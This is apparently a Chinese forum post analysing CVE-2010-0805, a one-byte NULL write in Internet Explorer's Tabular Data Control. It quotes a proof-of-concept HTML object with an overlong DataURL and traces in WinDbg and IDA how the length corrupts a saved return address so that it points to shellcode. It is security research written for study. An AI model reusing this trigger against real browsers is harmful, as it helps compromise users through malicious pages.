前言
这个漏洞出来有一段时间了,前些日子看到有大牛放出了POC,在下处于学习的目的,对这个漏洞进行了一些分析。由于是第一次发这类文章,难免有错误疏漏之处,还请各位高手不吝赐教。
 
1.    背景介绍
(1)该漏洞的CVE描述链接如下:
http://web.nvd.nist.gov/view/vuln/de...=CVE-2010-0805
在tdc.ocx中,CTDCCtl::SecurityCHeckDataURL函数在处理url时有一个漏洞,导致可以在任意地址写入一个NULL字节。
 
(2)关于TDC (Tabular Data Control)
这是微软IE的一个ActiveX空间,可以将数据文件按一定格式显示在网页中。
 
(3) POC
<object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83">
<param name="DataURL" 
value="http://CpnmSUAbZsb5EV1urkg7BGjBrgAUX3H27v69CwZRcgGLOLTG0APkQhmHrsWwApJiWrQy1mzt1Mzdav28deCgQF0Desy01lj8CEM5hq3yux0joROuuuMUMMstyXvKwRrIUceHEfotwd9CT7IdyEnBO0IvD8a3709NufqLMRxl5t2vlNwKGKHWjGP67SdxclDzPbJK5iK6Lp6kZ1j3txNXdGeX1BqJAn10QbtO9xiop7wPPS5YAxeedD2diRIraFF3wogl79A7PrAaeGmXsVMgsr1XoIozpIpZdfzk95PDO08DHxFJJNl6MF6enwVdKlglVp3oGEccuYvUr8DlKq5TGnL5pyJQ7wy4Ut1eAMVwXiviWLByLguIrZCN6TnZJBBvojtBdqgNlTKdmTD1Lcd8CdCzsL30dcnNGRE1XUtAx0UjnoepzkMj8Njjnq7DFXFdgqq2WHswhimtZYhjuNtidRFF8OQI7NFvwZWx3ADulYyZ0xkWElLseXDBYajZzObh1FxDY8I4I3eFBmO2wyL0qmWdey" /></object>
上面列出了POC中的关键部分,正是对DataURL这个参数的处理不当,造成了溢出,下面会详细分析。
 
 
2.    调试分析
其实对于这个漏洞,网上的描述已经非常清楚,直接告诉我们出问题的函数是CTDCCtl::SecurityCHeckDataURL,于是调试的难度就大大降低了。
用windbg启动IE,键入 “bu tdc!CTDCCtl::SecurityCHeckDataURL” ,在该函数上下好断点,键入”g”跑起来,稍等片刻,断点命中,此时堆栈为:
ChildEBP RetAddr 
00126fd4 60005a1d tdc!CTDCCtl::SecurityCheckDataURL
00126ff0 60005405 tdc!CTDCCtl::OnData+0x9e
00127008 7e48eb14 tdc!CMyBindStatusCallback<CTDCCtl>::OnStopBinding+0x20
00127024 75c72894 mshtml!CProgressBindStatusCallback::OnStopBinding+0x5d
00127064 75c7276c urlmon!CBSCHolder::OnStopBinding+0x53
00127080 75c726ca urlmon!CBinding::CallOnStopBinding+0x38
001270a4 75c71fb6 urlmon!CBinding::OnTransNotification+0x1df
001270d4 75c7263f urlmon!CBinding::ReportResult+0x63
001270ec 75c80bfe urlmon!COInetProt::ReportResult+0x1a
 
这里请注意最后一行,即urlmon!COInetProt:ReportResult的返回地址,我已经用红色标出,现在的返回地址是0x75c80bfe, 位于urlmon!CTransaction::Start代码空间中。
F10单步,不久我们来到了关键指令
60005927 mov byte ptr [ebp+eax-104h],0
该指令执行时,eax=0x223,即我们调用tdc控件时传入的DataUrl的长度,换句话说,我们通过控制这个URL的长度,理论上可以让这个NULL字节写入任意位置,这个就是漏洞描述中的“在任意位置写入一个NULL字节”的含义了。
那么为什么POC中要将参数长度设计成223呢?这个绝不是随便选的,我们看一下这个NULL字节被写入后的调用栈:
ChildEBP RetAddr 
00126fd4 60005a1d tdc!CTDCCtl::SecurityCheckDataURL+0x15c
00126ff0 60005405 tdc!CTDCCtl::OnData+0x9e
00127008 7e48eb14 tdc!CMyBindStatusCallback<CTDCCtl>::OnStopBinding+0x20
00127024 75c72894 mshtml!CProgressBindStatusCallback::OnStopBinding+0x5d
00127064 75c7276c urlmon!CBSCHolder::OnStopBinding+0x53
00127080 75c726ca urlmon!CBinding::CallOnStopBinding+0x38
001270a4 75c71fb6 urlmon!CBinding::OnTransNotification+0x1df
001270d4 75c7263f urlmon!CBinding::ReportResult+0x63
001270ec 00c80bfe urlmon!COInetProt::ReportResult+0x1a
 
     注意用红色标出的返回地址部分,与上面相对应,只是由于被写入了NULL字节, 返回地址从75c80be变成了00c80be,而如果一切顺利,00c80be这个地址应该已经被我们的shellcode所占据,当系统从COInetProt::ReportResult返回时,就走入了我们的shellcode。
 
 
3.    原理探究
对POC的调试就到这里,为了进一步了解该漏洞的一些细节,我们用IDA Pro分析一下CTDCCtl::SecurityCheckDataURL函数。
其实我们通过函数名也可以猜测出,这个函数是用来check我们传入的DataURL,看它是否是允许的安全URL,而检查的关键代码如下:
.text:584B589E mov eax, [ebp+PISecurityManager]
.text:584B58A4 mov ecx, [eax]
.text:584B58A6 push 0
.text:584B58A8 lea edx, [ebp+pcbSecurityId]
.text:584B58AE push edx
.text:584B58AF lea edx, [ebp+pbSecurityId]
.text:584B58B5 push edx
.text:584B58B6 push esi
.text:584B58B7 push eax
.text:584B58B8 cal l dword ptr [ecx+18h] ; CSecurityManager::GetSecurityId
 
    这里通过调用CSecurityManager::GetSecurityId,将我们传入的URL转换成 <scheme>:<domain>+<zone>的形式,GetSecurityId的定义为:
HRESULT GetSecurityId( LPCWSTR pwszUrl,
BYTE *pbSecurityId,
DWORD *pcbSecurityId,
DWORD_PTR dwReserved
);
 
 
    第一个参数pwszUrl是我们传入的DataURL,如果调用成功,*pcbSecurityId里存放转换后的长度,pbSecurityId里存放转换后的数据。当POC执行到这里时,对GetSecurityId的调用是失败的,pbSecurityId里是无效数据,但是*pcbSecurityId里仍然返回了我们传入的url的长度:0x223。
而上面写入NULL的指令
60005927 mov byte ptr [ebp+eax-104h],0,
其实相当于 pbSecurityId[*pcbSecurityId] = 0
也就是说写程序的人想要在pbSecurityId的末尾添个0,这边留的数组大小只有0x100,当url过长时,就发生了溢出。
 
至此对这个漏洞的分析告一段落,文章写得匆忙,欢迎各位批评指点。